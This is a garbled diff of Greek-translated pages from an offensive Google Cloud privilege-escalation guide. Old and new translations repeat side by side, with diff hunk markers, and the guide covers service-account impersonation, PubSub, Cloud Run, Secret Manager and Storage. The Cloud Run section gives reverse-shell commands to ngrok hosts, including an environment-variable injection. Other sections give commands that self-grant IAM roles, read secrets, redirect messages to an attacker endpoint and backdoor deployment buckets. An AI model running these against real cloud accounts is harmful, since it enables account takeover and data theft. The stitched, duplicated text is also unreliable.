Η **iam.serviceAccounts.actAs permission** μοιάζει με την **iam:PassRole permission from AWS**. Είναι απαραίτητη για την εκτέλεση εργασιών, όπως η εκκίνηση ενός Compute Engine instance, καθώς παρέχει τη δυνατότητα να "actAs" έναν Service Account, εξασφαλίζοντας ασφαλή διαχείριση δικαιωμάτων. Χωρίς αυτήν, χρήστες μπορεί να αποκτήσουν αθέμιτη πρόσβαση. Επιπλέον, η εκμετάλλευση της **iam.serviceAccounts.actAs** περιλαμβάνει διάφορες μεθόδους, καθεμία από τις οποίες απαιτεί ένα σύνολο αδειών, σε αντίθεση με άλλες μεθόδους που χρειάζονται μόνο μία.
Η **iam.serviceAccounts.actAs permission** είναι παρόμοια με την **iam:PassRole permission from AWS**. Είναι απαραίτητη για την εκτέλεση εργασιών, όπως την εκκίνηση ενός Compute Engine instance, καθώς παραχωρεί τη δυνατότητα να "actAs" ένα Service Account, εξασφαλίζοντας ασφαλή διαχείριση δικαιωμάτων. Χωρίς αυτήν, χρήστες μπορεί να αποκτήσουν αδικαιολόγητη πρόσβαση. Επιπλέον, η εκμετάλλευση του **iam.serviceAccounts.actAs** περιλαμβάνει διάφορες μεθόδους, καθεμία από τις οποίες απαιτεί ένα σύνολο permissions, σε αντίθεση με άλλες μεθόδους που χρειάζονται μόνο ένα.
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
#### Προσποίηση service account <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Η impersonation ενός Service Account μπορεί να είναι πολύ χρήσιμη για να **αποκτήσετε νέα και καλύτερα προνόμια**. Υπάρχουν τρεις τρόποι με τους οποίους μπορείτε να [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
Η προσποίηση ενός service account μπορεί να είναι πολύ χρήσιμη για να **αποκτήσετε νέα και καλύτερα προνόμια**. Υπάρχουν τρεις τρόποι με τους οποίους μπορείτε να [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
- Ταυτοποίηση **using RSA private keys** (αναφέρθηκε παραπάνω)
- Εξουσιοδότηση **using Cloud IAM policies** (αναφέρεται εδώ)
@@ -119,37 +110,29 @@ You can find a script to automate the [**creation, exploit and cleaning of a vul
### `iam.serviceAccounts.getOpenIdToken`
An attacker με τις αναφερόμενες άδειες θα μπορεί να δημιουργήσει ένα OpenID JWT. Αυτά χρησιμοποιούνται για την επιβεβαίωση ταυτότητας και δεν φέρουν απαραίτητα κάποια εγγενή εξουσιοδότηση πάνω σε ένα resource.
Ένας attacker με τις αναφερόμενες permissions θα μπορεί να δημιουργήσει ένα OpenID JWT. Αυτά χρησιμοποιούνται για να επιβεβαιώσουν ταυτότητα και δεν φέρουν απαραίτητα κάποια έμμεση authorization απέναντι σε έναν resource.
Σύμφωνα με αυτό το [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), είναι απαραίτητο να δηλώσετε το audience (την υπηρεσία στην οποία θέλετε να χρησιμοποιήσετε το token για authentication) και θα λάβετε ένα JWT υπογεγραμμένο από google που θα αναφέρει το Service Account και το audience του JWT.
Σύμφωνα με αυτό το [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), είναι απαραίτητο να δηλώσετε το audience (την υπηρεσία στην οποία θέλετε να χρησιμοποιήσετε το token για να κάνετε authentication) και θα λάβετε ένα JWT υπογεγραμμένο από google που δηλώνει το service account και το audience του JWT.
You can generate an OpenIDToken (if you have the access) with:
<details><summary>Δημιουργία OpenID token για service account</summary>
Μπορείτε να δημιουργήσετε ένα OpenIDToken (αν έχετε την πρόσβαση) με:
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
</details>
Στη συνέχεια μπορείτε απλά να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στην υπηρεσία με:
<details><summary>Χρήση token OpenID για έλεγχο ταυτότητας</summary>
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
</details>
Ορισμένες υπηρεσίες που υποστηρίζουν πιστοποίηση μέσω αυτού του είδους των tokens είναι:
Μερικές υπηρεσίες που υποστηρίζουν πιστοποίηση μέσω αυτού του είδους token είναι:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να δημιουργήσετε ένα OpenID token εκ μέρους ενός service account [**εδώ**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να δημιουργήσετε ένα OpenID token εκ μέρους ενός λογαριασμού υπηρεσίας [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
## Αναφορές
@@ -4,34 +4,67 @@
## PubSub
Αποκτήστε περισσότερες πληροφορίες στο:
Περισσότερες πληροφορίες στο:
{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}
### `pubsub.snapshots.create`
Τα snapshots των θεμάτων **περιέχουν τα τρέχοντα unACKed μηνύματα και κάθε μήνυμα μετά από αυτό**. Μπορείτε να δημιουργήσετε ένα snapshot ενός θέματος για **να αποκτήσετε πρόσβαση σε όλα τα μηνύματα**, **αποφεύγοντας την άμεση πρόσβαση στο θέμα**.
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
Τα snapshots των topics **περιέχουν τα τρέχοντα unACKed messages και κάθε επόμενο μήνυμα**. Μπορείτε να δημιουργήσετε ένα snapshot ενός topic για να **έχετε πρόσβαση σε όλα τα μηνύματα**, **αποφεύγοντας την άμεση πρόσβαση στο topic**.
```bash
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
```
### **`pubsub.snapshots.setIamPolicy`**
Αναθέστε τις προηγούμενες άδειες σε εσάς.
Αναθέτει σε εσάς τα προηγούμενα δικαιώματα.
### `pubsub.subscriptions.create`
Μπορείτε να δημιουργήσετε μια push subscription σε ένα θέμα που θα στέλνει όλα τα ληφθέντα μηνύματα στη δηλωμένη διεύθυνση URL.
Μπορείτε να δημιουργήσετε ένα push subscription σε ένα topic που θα στέλνει όλα τα ληφθέντα μηνύματα στην υποδεικνυόμενη URL
### **`pubsub.subscriptions.update`**
Ορίστε τη δική σας διεύθυνση URL ως push endpoint για να κλέψετε τα μηνύματα.
Ορίστε τη δική σας URL ως push endpoint για να κλέψετε τα μηνύματα.
### `pubsub.subscriptions.consume`
Αποκτήστε πρόσβαση σε μηνύματα χρησιμοποιώντας την subscription.
Πρόσβαση στα μηνύματα χρησιμοποιώντας τη subscription.
```bash
gcloud pubsub subscriptions pull <SUSCRIPTION> \
--limit=50 \
--format="json" \
--project=<PROJECTID>
```
### `pubsub.subscriptions.setIamPolicy`
Δώστε στον εαυτό σας οποιαδήποτε από τις προηγούμενες άδειες.
Δώστε στον εαυτό σας οποιοδήποτε από τα προηγούμενα δικαιώματα
```bash
# Add Binding
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,18 +12,15 @@
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
Ένας επιτιθέμενος με αυτά τα permissions μπορεί να **create a run service running arbitrary code** (arbitrary Docker container), να επισυνάψει ένα Service Account σε αυτό, και να κάνει τον κώδικα να **exfiltrate the Service Account token from the metadata**.
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **create a run service running arbitrary code** (arbitrary Docker container), να επισυνάψει ένα Service Account σε αυτήν, και να κάνει τον κώδικα να **exfiltrate the Service Account token from the metadata**.
Ένα exploit script για αυτή τη μέθοδο μπορεί να βρεθεί [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) και το Docker image μπορεί να βρεθεί [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
Σημειώστε ότι όταν χρησιμοποιείτε `gcloud run deploy` αντί να δημιουργήσετε απλώς την υπηρεσία **it needs the `update` permission`**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
Σημειώστε ότι όταν χρησιμοποιείτε `gcloud run deploy` αντί απλώς της δημιουργίας της υπηρεσίας **it needs the `update` permission**. Δείτε ένα [**παράδειγμα εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
### `run.services.update` , `iam.serviceAccounts.actAs`
Όπως το προηγούμενο αλλά ενημερώνοντας μια υπηρεσία:
<details>
<summary>Deploy Cloud Run service with reverse shell</summary>
Όπως το προηγούμενο αλλά ενημερώνοντας μια service:
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
</details>
### `run.services.setIamPolicy`
Χορηγήστε στον εαυτό σας δικαιώματα στο cloud Run.
Δώσε στον εαυτό σου προηγούμενα permissions στο cloud Run.
```bash
# Change policy
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
Εκκινήστε ένα job με reverse shell για να κλέψετε το service account που υποδεικνύεται στην εντολή. Μπορείτε να βρείτε ένα [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
<details>
<summary>Δημιουργία Cloud Run job με reverse shell</summary>
Εκκινήστε ένα job με reverse shell για να κλέψετε το service account που αναφέρεται στην εντολή. Μπορείτε να βρείτε ένα [**exploit εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
</details>
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
Παρόμοια με το προηγούμενο, είναι δυνατό να **update a job and update the SA**, να αλλάξετε την **command** και να την **execute**:
<details>
<summary>Ενημέρωση Cloud Run job και εκτέλεση με reverse shell</summary>
Παρόμοια με το προηγούμενο, είναι δυνατό να **ενημερώσετε ένα job και να ενημερώσετε το SA**, την **command** και να **την εκτελέσετε**:
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
</details>
### `run.jobs.setIamPolicy`
Χορηγήστε στον εαυτό σας τα προηγούμενα δικαιώματα σε Cloud Jobs.
Χορηγήστε στον εαυτό σας τα προηγούμενα δικαιώματα στο Cloud Jobs.
```bash
# Change policy
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
Καταχραστείτε τα env variables μιας εκτέλεσης job για να execute arbitrary code και να αποκτήσετε ένα reverse shell για να dump τα περιεχόμενα του container (source code) και να έχετε πρόσβαση στο SA μέσα στα metadata:
<details>
<summary>Εκτέλεση Cloud Run job with environment variable exploitation</summary>
Κακοχρησιμοποιήστε τις env variables μιας εκτέλεσης job για να εκτελέσετε αυθαίρετο κώδικα και να αποκτήσετε ένα reverse shell ώστε να εξάγετε τα περιεχόμενα του container (source code) και να προσπελάσετε το SA μέσα στα metadata:
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
</details>
## Αναφορές
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -12,16 +12,16 @@
### `secretmanager.versions.access`
Αυτό σας δίνει πρόσβαση να διαβάσετε τα secrets από τον secret manager και ίσως αυτό να βοηθήσει να escalate privielegs (ανάλογα με τις πληροφορίες που είναι αποθηκευμένες μέσα στο secret):
Αυτό σας δίνει πρόσβαση για να διαβάσετε τα secrets από το secret manager και ίσως αυτό να βοηθήσει να escalate privielegs (ανάλογα με τις πληροφορίες που είναι αποθηκευμένες μέσα στο secret):
<details><summary>Λήψη clear-text έκδοσης του secret</summary>
<details><summary>Λήψη clear-text secret version</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
Εφόσον πρόκειται επίσης για τεχνική post exploitation, μπορεί να βρεθεί στο:
Καθώς πρόκειται επίσης για τεχνική post exploitation, μπορεί να βρεθεί στο:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -29,14 +29,20 @@ gcloud secrets versions access 1 --secret="<secret_name>"
### `secretmanager.secrets.setIamPolicy`
Αυτό σας δίνει πρόσβαση να διαβάσετε τα secrets από τον Secret Manager, για παράδειγμα χρησιμοποιώντας:
Αυτό σας επιτρέπει να διαβάσετε τα secrets από τον secret manager, για παράδειγμα χρησιμοποιώντας:
<details><summary>Προσθήκη IAM policy binding στο secret</summary>
<details><summary>Προσθήκη IAM policy binding σε secret</summary>
```bash
gcloud secrets add-iam-policy-binding <scret-name> \
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
Ή ανακαλέστε πολιτικές με:
```bash
gcloud secrets remove-iam-policy-binding <secret-name> \
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Storage
Basic Information:
Βασικές πληροφορίες:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -15,25 +15,79 @@ Basic Information:
This permission allows you to **download files stored inside Cloud Storage**. This will potentially allow you to escalate privileges because in some occasions **sensitive information is saved there**. Moreover, some GCP services stores their information in buckets:
- **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code.
- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **search for leaks and/or source code**.
- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **αναζητήσετε leaks και/ή source code**.
### `storage.objects.setIamPolicy`
You can give you permission to **abuse any of the previous scenarios of this section**.
Σας επιτρέπει να **εκμεταλλευτείτε οποιοδήποτε από τα προηγούμενα σενάρια αυτής της ενότητας**.
```bash
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
### **`storage.buckets.setIamPolicy`**
For an example on how to modify permissions with this permission check this page:
Για παράδειγμα, για το πώς να τροποποιήσετε δικαιώματα με αυτήν την άδεια, δείτε αυτή τη σελίδα:
```bash
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
{{#endref}}
### `storage.hmacKeys.create`
Cloud Storage's "interoperability" feature, designed for **cross-cloud interactions** like with AWS S3, involves the **creation of HMAC keys for Service Accounts and users**. An attacker can exploit this by **generating an HMAC key for a Service Account with elevated privileges**, thus **escalating privileges within Cloud Storage**. While user-associated HMAC keys are only retrievable via the web console, both the access and secret keys remain **perpetually accessible**, allowing for potential backup access storage. Conversely, Service Account-linked HMAC keys are API-accessible, but their access and secret keys are not retrievable post-creation, adding a layer of complexity for continuous access.
<details><summary>Create and use HMAC key for privilege escalation</summary>
Η δυνατότητα "interoperability" του Cloud Storage, σχεδιασμένη για **διαλειτουργίες μεταξύ cloud** όπως με AWS S3, περιλαμβάνει την **δημιουργία HMAC keys για Service Accounts και χρήστες**. Ένας επιτιθέμενος μπορεί να το εκμεταλλευτεί **δημιουργώντας ένα HMAC key για ένα Service Account με αυξημένα προνόμια**, αυξάνοντας έτσι τα **προνόμια μέσα στο Cloud Storage**. Ενώ τα HMAC keys που σχετίζονται με χρήστες ανακτώνται μόνο μέσω του web console, τόσο τα access και secret keys παραμένουν **διαρκώς προσβάσιμα**, επιτρέποντας ενδεχόμενη αποθήκευση για backup πρόσβαση. Αντιθέτως, τα HMAC keys συνδεδεμένα με Service Accounts είναι προσβάσιμα μέσω API, αλλά τα access και secret keys τους δεν μπορούν να ανακτηθούν μετά τη δημιουργία, προσθέτοντας ένα επίπεδο πολυπλοκότητας για συνεχή πρόσβαση.
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
</details>
Ένα ακόμη exploit script για αυτή τη μέθοδο μπορεί να βρεθεί [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
### `storage.objects.create`, `storage.objects.delete` = Δικαιώματα εγγραφής Storage
### `storage.objects.create`, `storage.objects.delete` = Δικαιώματα εγγραφής στο Storage
Για να **δημιουργήσετε ένα νέο αντικείμενο** μέσα σε ένα bucket χρειάζεστε `storage.objects.create` και, σύμφωνα με [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), χρειάζεστε επίσης `storage.objects.delete` για να **τροποποιήσετε** ένα υπάρχον αντικείμενο.
Μια πολύ **συνηθισμένη εκμετάλλευση** buckets όπου μπορείτε να γράψετε στο cloud είναι στην περίπτωση που το **bucket αποθηκεύει αρχεία web server**, μπορεί να καταφέρετε να **αποθηκεύσετε νέο κώδικα** που θα χρησιμοποιηθεί από την web εφαρμογή.
Μια πολύ **συνηθισμένη εκμετάλλευση** buckets όπου μπορείτε να γράψετε στο cloud είναι όταν το **bucket αποθηκεύει αρχεία web server** μπορεί να καταφέρετε να **αποθηκεύσετε νέο κώδικα** που θα χρησιμοποιηθεί από την web εφαρμογή.
### Composer
**Composer** είναι **Apache Airflow** που διαχειρίζεται εντός GCP. Έχει αρκετά ενδιαφέροντα χαρακτηριστικά:
**Composer** είναι **Apache Airflow** διαχειριζόμενο μέσα στο GCP. Έχει αρκετά ενδιαφέροντα χαρακτηριστικά:
- Τρέχει μέσα σε ένα **GKE cluster**, οπότε το **SA που χρησιμοποιεί το cluster είναι προσβάσιμο** από τον κώδικα που εκτελείται μέσα στο Composer
- Όλα τα components ενός composer environment (**code of DAGs**, plugins και data) αποθηκεύονται σε ένα GCP bucket. Αν ο επιτιθέμενος έχει δικαιώματα ανάγνωσης και εγγραφής σε αυτό, μπορεί να παρακολουθεί το bucket και **όποτε ένα DAG δημιουργηθεί ή ενημερωθεί, να υποβάλει μια backdoored έκδοση** έτσι ώστε το composer environment να λάβει από το storage την backdoored έκδοση.
- Τρέχει μέσα σε ένα **GKE cluster**, οπότε το **SA που χρησιμοποιεί το cluster είναι προσβάσιμο** από τον κώδικα που τρέχει μέσα στο Composer
- Όλα τα components ενός composer environment (**κώδικας των DAGs**, plugins και data) αποθηκεύονται μέσα σε ένα GCP bucket. Εάν ο attacker έχει δικαιώματα ανάγνωσης και εγγραφής σε αυτό, μπορεί να παρακολουθεί το bucket και **όποτε δημιουργείται ή ενημερώνεται ένα DAG, να υποβάλει μια backdoored έκδοση** ώστε το composer environment να πάρει από το storage την παραβιασμένη έκδοση.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
**Μπορείτε να βρείτε ένα PoC αυτής της επίθεσης στο repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
- Ο κώδικας των Cloud Functions αποθηκεύεται στο Storage και όποτε δημιουργείται νέα έκδοση ο κώδικας προωθείται στο bucket και μετά γίνεται build του νέου container από αυτόν τον κώδικα. Επομένως, **αντικαθιστώντας τον κώδικα πριν χτιστεί η νέα έκδοση είναι δυνατό να κάνετε την cloud function να εκτελέσει αυθαίρετο κώδικα**.
- Ο κώδικας των Cloud Functions αποθηκεύεται στο Storage και κάθε φορά που δημιουργείται νέα έκδοση ο κώδικας προωθείται στο bucket και μετά το νέο container χτίζεται από αυτόν τον κώδικα. Επομένως, **εάν αντικαταστήσετε τον κώδικα πριν δημιουργηθεί η νέα έκδοση, είναι δυνατή η εκτέλεση αυθαίρετου κώδικα από τη cloud function**.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
**Μπορείτε να βρείτε ένα PoC αυτής της επίθεσης στο repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
Οι εκδόσεις AppEngine δημιουργούν κάποια δεδομένα μέσα σε ένα bucket με τη μορφή ονόματος: `staging.<project-id>.appspot.com`. Μέσα σε αυτό το bucket, είναι δυνατό να βρεθεί ένας φάκελος με όνομα `ae` που θα περιέχει έναν φάκελο ανά έκδοση της AppEngine εφαρμογής και μέσα σε αυτούς τους φακέλους θα είναι δυνατό να βρεθεί το αρχείο `manifest.json`. Αυτό το αρχείο περιέχει ένα json με όλα τα αρχεία που πρέπει να χρησιμοποιηθούν για να δημιουργηθεί η συγκεκριμένη έκδοση. Επιπλέον, είναι δυνατό να βρείτε τα **πραγματικά ονόματα των αρχείων, το URL τους μέσα στο GCP bucket (τα αρχεία μέσα στο bucket άλλαξαν το όνομά τους σε sha1 hash) και το sha1 hash κάθε αρχείου.**
Οι εκδόσεις του AppEngine δημιουργούν κάποια δεδομένα μέσα σε ένα bucket με το όνομα σε μορφή: `staging.<project-id>.appspot.com`. Μέσα σε αυτό το bucket, είναι δυνατό να βρεθεί ένας φάκελος `ae` που θα περιέχει έναν φάκελο ανά έκδοση της AppEngine εφαρμογής και μέσα σε αυτούς τους φακέλους θα βρεθεί το αρχείο `manifest.json`. Αυτό το αρχείο περιέχει ένα json με όλα τα αρχεία που πρέπει να χρησιμοποιηθούν για να δημιουργηθεί η συγκεκριμένη έκδοση. Επιπλέον, είναι δυνατό να βρεθούν τα **πραγματικά ονόματα των αρχείων, το URL τους μέσα στο GCP bucket (τα αρχεία μέσα στο bucket έχουν αλλάξει όνομα στο sha1 hash τους) και το sha1 hash κάθε αρχείου.**
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
_Σημείωση ότι δεν είναι δυνατόν να γίνει pre-takeover αυτού του bucket επειδή οι GCP users δεν έχουν εξουσιοδότηση να δημιουργούν buckets χρησιμοποιώντας το domain appspot.com._
Ωστόσο, με δικαιώματα ανάγνωσης & εγγραφής σε αυτό το bucket, είναι δυνατό να πραγματοποιηθεί escalation προνομίων στο SA που είναι συνημμένο στην έκδοση App Engine παρακολουθώντας το bucket και κάθε φορά που γίνεται μια αλλαγή (νέα έκδοση), να τροποποιήσετε τη νέα έκδοση όσο πιο γρήγορα γίνεται. Με αυτόν τον τρόπο, ο container που δημιουργείται από αυτόν τον κώδικα θα εκτελέσει τον backdoored κώδικα.
Ωστόσο, με πρόσβαση ανάγνωσης & εγγραφής σε αυτό το bucket, είναι δυνατό να escalate privileges στο SA που συνδέεται με την έκδοση του App Engine παρακολουθώντας το bucket και κάθε φορά που γίνεται αλλαγή (νέα έκδοση), να τροποποιήσετε τη νέα έκδοση όσο πιο γρήγορα γίνεται. Με αυτόν τον τρόπο, το container που θα δημιουργηθεί από αυτόν τον κώδικα θα εκτελέσει τον backdoored κώδικα.
Η προαναφερθείσα επίθεση μπορεί να πραγματοποιηθεί με πολλούς διαφορετικούς τρόπους, όλοι ξεκινούν παρακολουθώντας το `staging.<project-id>.appspot.com` bucket:
- Ανεβάστε τον πλήρη νέο κώδικα της έκδοσης AppEngine σε ένα διαφορετικό και διαθέσιμο bucket και ετοιμάστε ένα **`manifest.json` αρχείο με το νέο όνομα bucket και τα sha1 hashes τους**. Έπειτα, όταν δημιουργηθεί μια νέα έκδοση μέσα στο bucket, απλά χρειάζεται να τροποποιήσετε το `manifest.json` και να ανεβάσετε το κακόβουλο αρχείο.
- Ανεβάστε μια τροποποιημένη `requirements.txt` έκδοση που θα χρησιμοποιεί **κακόβουλο κώδικα εξαρτήσεων** και ενημερώστε το `manifest.json` με το νέο όνομα αρχείου, το URL και το hash του.
- Ανεβάστε ένα **τροποποιημένο `main.py` ή `app.yaml` αρχείο που θα εκτελέσει τον κακόβουλο κώδικα** και ενημερώστε το `manifest.json` με το νέο όνομα αρχείου, το URL και το hash του.
- Ανεβάστε τον πλήρη νέο κώδικα της έκδοσης AppEngine σε ένα διαφορετικό και διαθέσιμο bucket και προετοιμάστε ένα **`manifest.json` αρχείο με το νέο όνομα bucket και τα sha1 hashes τους**. Στη συνέχεια, όταν δημιουργηθεί νέα έκδοση μέσα στο bucket, απλά χρειάζεται να τροποποιήσετε το `manifest.json` και να ανεβάσετε το κακόβουλο `manifest.json`.
- Ανεβάστε μια τροποποιημένη έκδοση του `requirements.txt` που θα χρησιμοποιεί τον **κακόβουλο κώδικα των dependencies** και ενημερώστε το `manifest.json` με το νέο όνομα αρχείου, το URL και το hash του.
- Ανεβάστε ένα **τροποποιημένο `main.py` ή `app.yaml` αρχείο που θα εκτελεί τον κακόβουλο κώδικα** και ενημερώστε το `manifest.json` με το νέο όνομα αρχείου, URL και hash.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
**Μπορείτε να βρείτε ένα PoC αυτής της επίθεσης στο repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
